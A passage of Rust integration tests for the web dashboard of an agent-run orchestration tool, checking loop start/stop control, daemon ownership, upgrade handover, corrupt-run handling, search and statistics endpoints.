9633        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9634        assert_eq!(
9635            again.status, 409,
9636            "two loops on one queue race for the same claims: {}",
9637            again.body
9638        );
9639        assert!(
9640            again.json()["error"]
9641                .as_str()
9642                .is_some_and(|e| e.contains("already running the loop")),
9643            "the refusal has to say why: {}",
9644            again.body
9645        );
9646        assert_eq!(
9647            f.get("/api/loop").await.json()["running"],
9648            true,
9649            "and the loop that was already running is untouched by it"
9650        );
9651
9652        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9653    }
9654
9655    #[tokio::test]
9656    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9657        let f = Fixture::start().await;
9658        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9659
9660        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9661        assert_eq!(
9662            res.status, 200,
9663            "the answer must not wait for the loop: a run in flight is tens of \
9664             minutes and the operator is holding a phone: {}",
9665            res.body
9666        );
9667
9668        let view = settled(&f, |v| v["running"] == false).await;
9669        assert_eq!(view["owned"], false);
9670        assert_eq!(
9671            view["stopping"], false,
9672            "a loop that has stopped is not still stopping: {view}"
9673        );
9674        assert_eq!(
9675            view["last_error"],
9676            Value::Null,
9677            "a loop that was asked to stop did not fail: {view}"
9678        );
9679
9680        // Idempotent, because the operator cannot tell a slow stop from a lost
9681        // one and will press it again.
9682        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9683        assert_eq!(twice.status, 200, "{}", twice.body);
9684    }
9685
9686    #[tokio::test]
9687    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9688        let f = Fixture::start().await;
9689        // How the operator has been doing it: a `magi serve` of their own,
9690        // heartbeat fresh, in the same home this UI reads.
9691        write_daemon(f.home.path(), Timestamp::now());
9692
9693        let view = f.get("/api/loop").await.json();
9694        assert_eq!(view["running"], false, "not in this process: {view}");
9695        assert_eq!(view["owned"], false, "and not this process's to control");
9696        assert_eq!(
9697            view["daemon"]["running"], true,
9698            "but a loop is alive somewhere, which is what the UI must say"
9699        );
9700        assert_eq!(view["daemon"]["pid"], 4242);
9701
9702        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9703            let res = f.post("/api/loop", Some(body)).await;
9704            assert_eq!(
9705                res.status, 409,
9706                "neither button may pretend to work on someone else's loop: {}",
9707                res.body
9708            );
9709            assert!(
9710                res.json()["error"]
9711                    .as_str()
9712                    .is_some_and(|e| e.contains("4242")),
9713                "the refusal has to name the process the operator must go to: {}",
9714                res.body
9715            );
9716        }
9717        assert_eq!(
9718            f.get("/api/loop").await.json()["running"],
9719            false,
9720            "and the refusal started nothing"
9721        );
9722    }
9723
9724    #[tokio::test]
9725    async fn a_stale_status_file_is_not_a_foreign_owner() {
9726        let f = Fixture::start().await;
9727        write_daemon(
9728            f.home.path(),
9729            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9730        );
9731
9732        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9733        assert_eq!(
9734            res.status, 200,
9735            "a daemon killed a minute ago must not lock the loop out of its \
9736             own home for good: {}",
9737            res.body
9738        );
9739        assert_eq!(res.json()["running"], true);
9740
9741        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9742    }
9743
9744    #[tokio::test]
9745    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9746        let f = Fixture::start().await;
9747        let before = f.get("/api/health").await.json()["loop_rev"]
9748            .as_u64()
9749            .expect("a loop revision");
9750
9751        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9752
9753        let after = f.get("/api/health").await.json()["loop_rev"]
9754            .as_u64()
9755            .expect("a loop revision");
9756        assert!(
9757            after > before,
9758            "the loop is in-process state, so this counter is the only thing \
9759             that tells a second device the first one started it: {before} -> \
9760             {after}"
9761        );
9762
9763        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9764    }
9765
9766    #[tokio::test]
9767    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9768        let f = Fixture::with_loop(launch_broken).await;
9769
9770        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9771        assert_eq!(
9772            res.status, 200,
9773            "starting it is not the failure: {}",
9774            res.body
9775        );
9776
9777        let view = settled(&f, |v| v["last_error"].is_string()).await;
9778        assert_eq!(
9779            view["running"], false,
9780            "a loop that died must not read as running, or the operator has \
9781             nothing to press: {view}"
9782        );
9783        assert_eq!(view["owned"], false);
9784        assert!(
9785            view["last_error"]
9786                .as_str()
9787                .is_some_and(|e| e.contains("read-only file system")),
9788            "the phone is where a loop that died at 3am is visible: {view}"
9789        );
9790
9791        // And it can be started again: the corpse was reaped, not left to
9792        // occupy the slot.
9793        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9794        assert_eq!(again.status, 200, "{}", again.body);
9795        assert_eq!(
9796            again.json()["last_error"],
9797            Value::Null,
9798            "a fresh start does not keep showing why the last one died"
9799        );
9800    }
9801
9802    /// An upgrade parks the run in flight before it restarts, and a park waits
9803    /// for the node - up to `timeout_implement`, an hour by default. The deck
9804    /// has to answer for all of it: the operator has just been told a run is
9805    /// finishing first, and this address is the only place that says how it is
9806    /// going. It did not, once - the listener went with the `select!` arm that
9807    /// began the handover, and the phone got `Cannot reach magi: Failed to
9808    /// fetch` for the rest of the wave.
9809    ///
9810    /// The other half is the older rule: the address must be free *before* the
9811    /// successor is started, or it dies on "address already in use" with its
9812    /// stdio sent to null and the deck never comes back.
9813    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9814    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9815        let home = TempDir::new().expect("temp home");
9816        let runs = home.path().join("runs");
9817        std::fs::create_dir_all(&runs).expect("runs dir");
9818        let ui = Ui::new(
9819            Queue::at(home.path().join("queue")),
9820            Questions::at(home.path().join("questions")),
9821            Talks::at(home.path().join("talks")),
9822            runs,
9823            home.path().to_path_buf(),
9824            PathBuf::from("/repo/magi"),
9825        )
9826        .with_worktrees_root(home.path().join("wt"))
9827        .with_launch(launch_knocking_on_the_way_out);
9828        let looping = ui.looping();
9829        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9830            .await
9831            .expect("bind loopback");
9832        let addr = listener.local_addr().expect("local addr");
9833        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9834        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9835
9836        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9837        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9838
9839        // The successor's whole job, and the one thing it cannot do while this
9840        // process still holds the socket.
9841        //
9842        // One bind is not enough, and the reason is not this process's order of
9843        // operations: aborting the accept loop drops the listener, but axum
9844        // serves each accepted connection on a task of its own, and those are
9845        // not aborted. The requests above left sockets on this very address,
9846        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
9847        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
9848        // Production absorbs that in `bind_waiting`; so does this. Only
9849        // `AddrInUse` is retried, and the listener is released before the
9850        // closure returns - were the order wrong, the listener would outlive
9851        // the closure and every attempt would fail. Inferred from the bind
9852        // rules and the code; not reproduced on macOS.
9853        let bound = std::sync::Mutex::new(None);
9854        hand_over(home.path(), &looping, served, |_| {
9855            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9856            let attempt = loop {
9857                match std::net::TcpListener::bind(addr) {
9858                    Ok(l) => {
9859                        drop(l);
9860                        break Ok(());
9861                    }
9862                    Err(e)
9863                        if e.kind() == std::io::ErrorKind::AddrInUse
9864                            && std::time::Instant::now() < deadline =>
9865                    {
9866                        std::thread::sleep(std::time::Duration::from_millis(10));
9867                    }
9868                    Err(e) => break Err(e.to_string()),
9869                }
9870            };
9871            *bound.lock().expect("bound") = Some(attempt);
9872            Ok(())
9873        })
9874        .await
9875        .expect("hand over");
9876
9877        assert_eq!(
9878            *PARK_HEARD.lock().expect("park heard"),
9879            Some(200),
9880            "the deck must answer while the loop is parking"
9881        );
9882        let attempt = bound
9883            .lock()
9884            .expect("bound")
9885            .take()
9886            .expect("the successor was started");
9887        assert!(
9888            attempt.is_ok(),
9889            "and the address must be free by the time it is: {attempt:?}"
9890        );
9891    }
9892
9893    #[tokio::test]
9894    async fn a_newer_daemon_status_file_still_renders() {
9895        let f = Fixture::start().await;
9896        // A field this build has never heard of must not turn the status line
9897        // into a 500; that is the whole reason the reader is permissive.
9898        std::fs::write(
9899            f.home.path().join("daemon.json"),
9900            serde_json::json!({
9901                "schema": 2,
9902                "updated_at": Timestamp::now().to_string(),
9903                "idle": true,
9904                "surprise": { "nested": [1, 2, 3] },
9905            })
9906            .to_string(),
9907        )
9908        .expect("write daemon.json");
9909
9910        let health = f.get("/api/health").await;
9911
9912        assert_eq!(health.status, 200);
9913        assert_eq!(health.json()["daemon"]["running"], true);
9914    }
9915
9916    #[tokio::test]
9917    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
9918        let f = Fixture::start().await;
9919        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
9920        let broken = f.runs().join("20260902-140502-bad");
9921        std::fs::create_dir_all(&broken).expect("run dir");
9922        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
9923
9924        let list = f.get("/api/runs").await;
9925        let detail = f.get("/api/runs/20260902-140502-bad").await;
9926
9927        assert_eq!(list.status, 200);
9928        let listed = list.json();
9929        let ids: Vec<&str> = listed
9930            .as_array()
9931            .expect("an array")
9932            .iter()
9933            .map(|r| r["id"].as_str().expect("an id"))
9934            .collect();
9935        assert_eq!(
9936            ids,
9937            vec!["20260902-140501-good"],
9938            "one unreadable run must not cost the operator the whole history"
9939        );
9940        assert_eq!(detail.status, 500);
9941        assert!(
9942            detail.json()["error"]
9943                .as_str()
9944                .is_some_and(|e| e.contains("run.json")),
9945            "the failure names the file to look at: {}",
9946            detail.body
9947        );
9948        // A skipped run has to be countable somewhere, or the UI shows an
9949        // empty history with nothing to explain it - which is exactly what a
9950        // directory full of older-schema runs looks like.
9951        let health = f.get("/api/health").await;
9952        assert_eq!(health.json()["runs_unreadable"], 1);
9953    }
9954
9955    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
9956    #[tokio::test]
9957    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
9958        let f = Fixture::start().await;
9959        let runs = f.runs();
9960        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
9961        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
9962        // Text three levels down, in a shape no current RunState has: an older
9963        // schema must still search.
9964        let path = runs.join("20260902-140502-bbbb").join("run.json");
9965        let mut v: serde_json::Value =
9966            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
9967        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
9968        std::fs::write(&path, v.to_string()).unwrap();
9969        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
9970        std::fs::write(
9971            runs.join("20260902-140503-cccc").join("run.json"),
9972            "{ not json",
9973        )
9974        .unwrap();
9975
9976        let res = f.get("/api/search?scope=runs&q=quokka").await;
9977        assert_eq!(res.status, 200, "{}", res.body);
9978        let v = res.json();
9979        assert_eq!(v["total"], 1, "{v}");
9980        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
9981        assert_eq!(v["hits"][0]["field"], "text");
9982        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
9983        let parts = v["hits"][0]["snippet"].as_array().unwrap();
9984        assert!(
9985            parts
9986                .iter()
9987                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
9988            "{v}"
9989        );
9990        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
9991        assert_eq!(
9992            flat, "The Quokka leaks across threads",
9993            "whitespace is collapsed"
9994        );
9995
9996        // Terms are ANDed, across different fields, case-insensitively.
9997        let both = f
9998            .get("/api/search?scope=runs&q=MOBILE%20quokka")
9999            .await
10000            .json();
10001        assert_eq!(both["total"], 1, "{both}");
10002        let neither = f
10003            .get("/api/search?scope=runs&q=quokka%20zebra")
10004            .await
10005            .json();
10006        assert_eq!(neither["total"], 0, "{neither}");
10007        // Everything in the task statement is reachable, not only the row text.
10008        let stmt = f
10009            .get("/api/search?scope=runs&q=mobile%20first")
10010            .await
10011            .json();
10012        assert_eq!(stmt["total"], 2, "{stmt}");
10013        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10014        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10015    }
10016
10017    #[test]
10018    fn snippet_ignores_terms_longer_than_the_field() {
10019        let terms = ["ok".to_owned(), "elephant".to_owned()];
10020        let parts = snippet_of("ok", &terms);
10021        assert_eq!(
10022            parts,
10023            vec![SnippetPart {
10024                text: "ok".to_owned(),
10025                hit: true
10026            }]
10027        );
10028    }
10029
10030    #[test]
10031    fn snippet_marks_matches_longer_than_the_window() {
10032        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10033        let hit_len = |parts: &[SnippetPart]| -> usize {
10034            parts
10035                .iter()
10036                .filter(|p| p.hit)
10037                .map(|p| p.text.chars().count())
10038                .sum()
10039        };
10040        let total =
10041            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10042
10043        let long = "a".repeat(120);
10044        let parts = snippet_of(&long, std::slice::from_ref(&long));
10045        assert!(hit_len(&parts) > 0, "{parts:?}");
10046        assert!(total(&parts) <= cap);
10047
10048        let ja = "あ".repeat(130);
10049        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10050        assert!(hit_len(&parts) > 0, "{parts:?}");
10051        assert!(total(&parts) <= cap);
10052
10053        // A short hit, then one straddling the window's end.
10054        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10055        let term = format!("ab{}", "c".repeat(100));
10056        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10057        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10058        assert!(total(&parts) <= cap);
10059
10060        // Only the head matches: not highlighted.
10061        let text = format!("{}z", "a".repeat(119));
10062        let parts = snippet_of(&text, &["a".repeat(120)]);
10063        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10064    }
10065
10066    #[tokio::test]
10067    async fn search_caps_hits_and_snippet_length() {
10068        let f = Fixture::start().await;
10069        let runs = f.runs();
10070        for n in 0..(SEARCH_MAX_HITS + 5) {
10071            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10072        }
10073        let v = f.get("/api/search?scope=runs&q=web").await.json();
10074        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10075        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10076        assert_eq!(v["truncated"], true);
10077        // Every listed run hit carries its list row for the page's filters.
10078        assert!(
10079            v["hits"]
10080                .as_array()
10081                .unwrap()
10082                .iter()
10083                .all(|h| h["run"]["status"] == "merged")
10084        );
10085
10086        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10087        let parts = snippet_of(&long, &["needle".to_owned()]);
10088        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10089        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10090        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10091    }
10092
10093    #[tokio::test]
10094    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10095        let f = Fixture::start().await;
10096        let queue = f.queue();
10097        let mut t = Task::new(
10098            "short title".to_owned(),
10099            "line one\nthe hidden Armadillo detail".to_owned(),
10100            PathBuf::from("/repo/magi"),
10101            Source::Agent {
10102                run: "r1".to_owned(),
10103                node: "chat".to_owned(),
10104            },
10105        );
10106        t.last_error = Some("disk full on /tmp".to_owned());
10107        queue.put(&mut t).expect("file the task");
10108
10109        for (q, want) in [
10110            ("armadillo", 1),
10111            ("disk%20FULL", 1),
10112            ("chat", 1),
10113            ("queued", 1),
10114            ("short%20nothing", 0),
10115        ] {
10116            let v = f
10117                .get(&format!("/api/search?scope=tasks&q={q}"))
10118                .await
10119                .json();
10120            assert_eq!(v["total"], want, "{q}: {v}");
10121        }
10122        for bad in [
10123            "/api/search?scope=tasks&q=",
10124            "/api/search?scope=tasks&q=%20",
10125            "/api/search?scope=chats&q=",
10126            "/api/search?scope=chats&q=%20",
10127            "/api/search?scope=nope&q=a",
10128            "/api/search?q=a",
10129        ] {
10130            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10131        }
10132    }
10133
10134    /// Write one conversation file the way the store reads it back.
10135    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10136        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10137            .expect("seat value");
10138        let turns: Vec<serde_json::Value> = turns
10139            .iter()
10140            .map(|(who, body)| {
10141                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10142            })
10143            .collect();
10144        let doc = serde_json::json!({
10145            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10146            "status": status, "turns": turns,
10147            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10148            "seat": seat,
10149        });
10150        let dir = f.home.path().join("talks");
10151        std::fs::create_dir_all(&dir).expect("talks dir");
10152        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10153    }
10154
10155    #[tokio::test]
10156    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10157        let f = Fixture::start().await;
10158        write_talk(
10159            &f,
10160            "20260901-000001-aaaa",
10161            "open",
10162            &[
10163                (
10164                    "operator",
10165                    "\n  Why does the Pangolin cache expire?\nsecond line",
10166                ),
10167                ("agent", "Because the TTL is thirty seconds."),
10168            ],
10169        );
10170        write_talk(
10171            &f,
10172            "20260901-000002-bbbb",
10173            "closed",
10174            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10175        );
10176        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10177
10178        let search = |q: &'static str| {
10179            let f = &f;
10180            async move {
10181                f.get(&format!("/api/search?scope=chats&q={q}"))
10182                    .await
10183                    .json()
10184            }
10185        };
10186
10187        let v = search("PANGOLIN").await;
10188        assert_eq!(v["scope"], "chats");
10189        assert_eq!(v["total"], 1, "{v}");
10190        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10191        assert_eq!(v["hits"][0]["field"], "title");
10192        assert_eq!(v["unreadable"], 1, "{v}");
10193        let marked: Vec<&str> = v["hits"][0]["snippet"]
10194            .as_array()
10195            .unwrap()
10196            .iter()
10197            .filter(|p| p["hit"] == true)
10198            .map(|p| p["text"].as_str().unwrap())
10199            .collect();
10200        assert_eq!(marked, ["Pangolin"]);
10201
10202        // An agent turn, in a closed conversation.
10203        let v = search("zebra").await;
10204        assert_eq!(v["total"], 1, "{v}");
10205        assert_eq!(v["hits"][0]["field"], "agent");
10206        // Words may sit in different turns; all must be present.
10207        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10208        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10209        // Bookkeeping is not searched.
10210        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10211            assert_eq!(search(q).await["total"], 0, "{q}");
10212        }
10213        // The first line only is the title; the second line is still a turn.
10214        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10215        // Open conversations are listed before closed ones.
10216        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10217
10218        let v = f.get("/api/search?scope=nope&q=a").await;
10219        assert_eq!(v.status, 400);
10220        assert!(
10221            v.body.contains("scope must be runs, tasks or chats"),
10222            "{}",
10223            v.body
10224        );
10225    }
10226
10227    #[test]
10228    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10229        let start = APP_JS
10230            .find("function scheduleSearch(")
10231            .expect("scheduleSearch exists");
10232        let body = &APP_JS[start..];
10233        let body = &body[..body.find("\n}\n").expect("function end")];
10234        assert!(body.contains("s.seq += 1"));
10235    }
10236
10237    /// The dashboard reads every run's state itself rather than trusting a
10238    /// separately-maintained count, so an unreadable run must be counted the
10239    /// same way `/api/health` counts it - never silently dropped the way the
10240    /// CLI's own `stats::load_all` drops it.
10241    #[tokio::test]
10242    async fn stats_runs_unreadable_matches_health() {
10243        let f = Fixture::start().await;
10244        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10245        let broken = f.runs().join("20260902-140502-bad");
10246        std::fs::create_dir_all(&broken).expect("run dir");
10247        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10248
10249        let stats = f.get("/api/stats").await;
10250        let health = f.get("/api/health").await;
10251
10252        assert_eq!(stats.status, 200);
10253        assert_eq!(stats.json()["totals"]["runs"], 1);
10254        assert_eq!(stats.json()["runs_unreadable"], 1);
10255        assert_eq!(
10256            stats.json()["runs_unreadable"],
10257            health.json()["runs_unreadable"],
10258            "the dashboard and /api/health must never disagree about how many \
10259             runs could not be read"
10260        );
10261    }
10262
10263    #[tokio::test]
10264    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10265        let f = Fixture::start().await;
10266        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10267        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10268        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10269
10270        let totals = &f.get("/api/stats").await.json()["totals"];
10271        assert_eq!(totals["runs"], 3);
10272        assert_eq!(totals["merged"], 1);
10273        assert_eq!(totals["stalled"], 1);
10274        assert_eq!(totals["in_progress"], 1);
10275        // A stalled run must never read as blocked/merged/ready - it is its
10276        // own bucket, not folded into a "decided" one.
10277        assert_eq!(totals["blocked"], 0);
10278        assert_eq!(totals["ready"], 0);
10279    }
10280
10281    #[tokio::test]
10282    async fn stats_advisors_report_proposals_and_reflection() {
10283        use crate::advise::{Advice, AdvisorRecord, Reflection};
10284        use crate::verdict::Proposal;
10285
10286        let f = Fixture::start().await;
10287        let mut state = RunState::new(
10288            PathBuf::from("/repo/magi"),
10289            "main".to_owned(),
10290            "0123456789abcdef".to_owned(),
10291            "task".to_owned(),
10292            Config::default(),
10293        );
10294        state.id = "20260902-140501-a".to_owned();
10295        state.status = RunStatus::Merged;
10296        state.advice = Some(Advice {
10297            records: vec![
10298                AdvisorRecord {
10299                    seat: "advisor-1".to_owned(),
10300                    agent: "alpha".to_owned(),
10301                    proposal: Some(Proposal {
10302                        approach: "do it".to_owned(),
10303                        key_tradeoff: "speed over memory".to_owned(),
10304                        risks: Vec::new(),
10305                        touches: Vec::new(),
10306                        why_not_naive: "breaks under load".to_owned(),
10307                    }),
10308                    error: None,
10309                    duration_ms: 0,
10310                    reflection: Reflection::Strong,
10311                },
10312                AdvisorRecord {
10313                    seat: "advisor-2".to_owned(),
10314                    agent: "alpha".to_owned(),
10315                    proposal: None,
10316                    error: Some("timed out".to_owned()),
10317                    duration_ms: 0,
10318                    reflection: Reflection::Absent,
10319                },
10320            ],
10321            synthesis: Some("blended brief".to_owned()),
10322        });
10323        let dir = f.runs().join(&state.id);
10324        std::fs::create_dir_all(&dir).expect("run dir");
10325        std::fs::write(
10326            dir.join("run.json"),
10327            serde_json::to_string_pretty(&state).expect("serialize run"),
10328        )
10329        .expect("write run.json");
10330
10331        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10332        let alpha = advisors
10333            .as_array()
10334            .expect("an array")
10335            .iter()
10336            .find(|a| a["agent"] == "alpha")
10337            .expect("alpha row");
10338        assert_eq!(alpha["seated"], 2);
10339        assert_eq!(alpha["proposed"], 1);
10340        assert_eq!(alpha["absent"], 1);
10341        assert_eq!(alpha["strong"], 1);
10342        assert_eq!(alpha["faint"], 0);
10343        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10344    }
10345
10346    #[tokio::test]
10347    async fn stats_release_bumps_split_clean_from_attention() {
10348        use crate::run::ReleaseBump;
10349
10350        let f = Fixture::start().await;
10351
10352        let mut clean = RunState::new(
10353            PathBuf::from("/repo/magi"),
10354            "main".to_owned(),
10355            "0123456789abcdef".to_owned(),
10356            "task".to_owned(),
10357            Config::default(),
10358        );
10359        clean.id = "20260902-140501-a".to_owned();
10360        clean.status = RunStatus::Merged;
10361        clean.release_bump = Some(ReleaseBump {
10362            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10363            version: Some("1.0.0".to_owned()),
10364            automerge_enabled: true,
10365            merged_directly: false,
10366            problem: None,
10367            action_required: None,
10368        });
10369
10370        let mut blocked = RunState::new(
10371            PathBuf::from("/repo/magi"),
10372            "main".to_owned(),
10373            "0123456789abcdef".to_owned(),
10374            "task".to_owned(),
10375            Config::default(),
10376        );
10377        blocked.id = "20260902-140502-b".to_owned();
10378        blocked.status = RunStatus::Merged;
10379        blocked.release_bump = Some(ReleaseBump {
10380            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10381            version: Some("1.0.1".to_owned()),
10382            automerge_enabled: false,
10383            merged_directly: false,
10384            problem: Some("checks red".to_owned()),
10385            action_required: Some("look at the PR".to_owned()),
10386        });
10387
10388        for state in [&clean, &blocked] {
10389            let dir = f.runs().join(&state.id);
10390            std::fs::create_dir_all(&dir).expect("run dir");
10391            std::fs::write(
10392                dir.join("run.json"),
10393                serde_json::to_string_pretty(state).expect("serialize run"),
10394            )
10395            .expect("write run.json");
10396        }
10397
10398        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10399        assert_eq!(bumps["merged"], 2);
10400        assert_eq!(bumps["recorded"], 2);
10401        assert_eq!(bumps["pr_opened"], 2);
10402        assert_eq!(bumps["automerge_enabled"], 1);
10403        assert_eq!(bumps["needs_attention"], 1);
10404        assert_eq!(bumps["clean"], 1);
10405        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10406        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10407    }
10408
10409    #[tokio::test]
10410    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10411        let f = Fixture::start().await;
10412        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10413
10414        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10415        assert_eq!(bumps["merged"], 1);
10416        assert_eq!(bumps["recorded"], 0);
10417        // `merged` is nonzero, so coverage still reads as a real 0%, not an
10418        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
10419        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10420        // `pr_opened` and `recorded` are both zero here, so these rates have
10421        // no denominator to compute from and must be null.
10422        assert_eq!(bumps["automerge_rate"], Value::Null);
10423        assert_eq!(bumps["attention_rate"], Value::Null);
10424    }
10425
10426    #[tokio::test]
10427    async fn stats_queue_counts_come_from_the_live_queue() {
10428        let f = Fixture::start().await;
10429        let q = f.queue();
10430        let mut queued = Task::new(
10431            "queued task".to_owned(),
10432            "do it".to_owned(),
10433            PathBuf::from("/repo"),
10434            Source::Human,
10435        );
10436        q.put(&mut queued).expect("put queued");
10437        let mut held = Task::new(
10438            "held task".to_owned(),
10439            "do it later".to_owned(),
10440            PathBuf::from("/repo"),
10441            Source::Human,
10442        );
10443        held.hold_machine(Some("out of attempts".to_owned()));
10444        q.put(&mut held).expect("put held");
10445
10446        let queue = f.get("/api/stats").await.json()["queue"].clone();
10447        assert_eq!(queue["queued"], 1);
10448        assert_eq!(queue["held"], 1);
10449        assert_eq!(queue["running"], 0);
10450        assert_eq!(queue["done"], 0);
10451        assert_eq!(queue["failed"], 0);
10452        assert_eq!(queue["blocked"], 0);
10453    }
10454
10455    #[tokio::test]
10456    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10457        let f = Fixture::start().await;
10458        let stats = f.get("/api/stats").await;
10459        assert_eq!(stats.status, 200);
10460        assert_eq!(stats.json()["totals"]["runs"], 0);
10461        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10462        assert_eq!(stats.json()["runs_unreadable"], 0);
10463        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10464        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10465        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10466        assert_eq!(stats.json()["repo"], Value::Null);
10467    }
10468
10469    #[tokio::test]
10470    async fn stats_lists_every_repository_with_runs_recorded() {
10471        let f = Fixture::start().await;
10472        write_run_repo(
10473            &f.runs(),
10474            "20260902-140501-a",
10475            RunStatus::Merged,
10476            "/repos/a",
10477        );
10478        write_run_repo(
10479            &f.runs(),
10480            "20260902-140502-b",
10481            RunStatus::Merged,
10482            "/repos/a",
10483        );
10484        write_run_repo(
10485            &f.runs(),
10486            "20260902-140503-c",
10487            RunStatus::Blocked,
10488            "/repos/b",
10489        );
10490
10491        let stats = f.get("/api/stats").await;
10492        assert_eq!(stats.status, 200);
10493        // Unfiltered - the aggregate across both repositories.
10494        assert_eq!(stats.json()["totals"]["runs"], 3);
10495        assert_eq!(stats.json()["repo"], Value::Null);
10496
10497        let repos = stats.json()["repos"].clone();
10498        let repos = repos.as_array().unwrap();
10499        assert_eq!(repos.len(), 2);
10500        // Busiest (2 runs) first.
10501        assert_eq!(repos[0]["repo"], "/repos/a");
10502        assert_eq!(repos[0]["name"], "a");
10503        assert_eq!(repos[0]["runs"], 2);
10504        assert_eq!(repos[1]["repo"], "/repos/b");
10505        assert_eq!(repos[1]["runs"], 1);
10506    }
10507
10508    #[tokio::test]
10509    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10510        let f = Fixture::start().await;
10511        write_run_repo(
10512            &f.runs(),
10513            "20260902-140501-a",
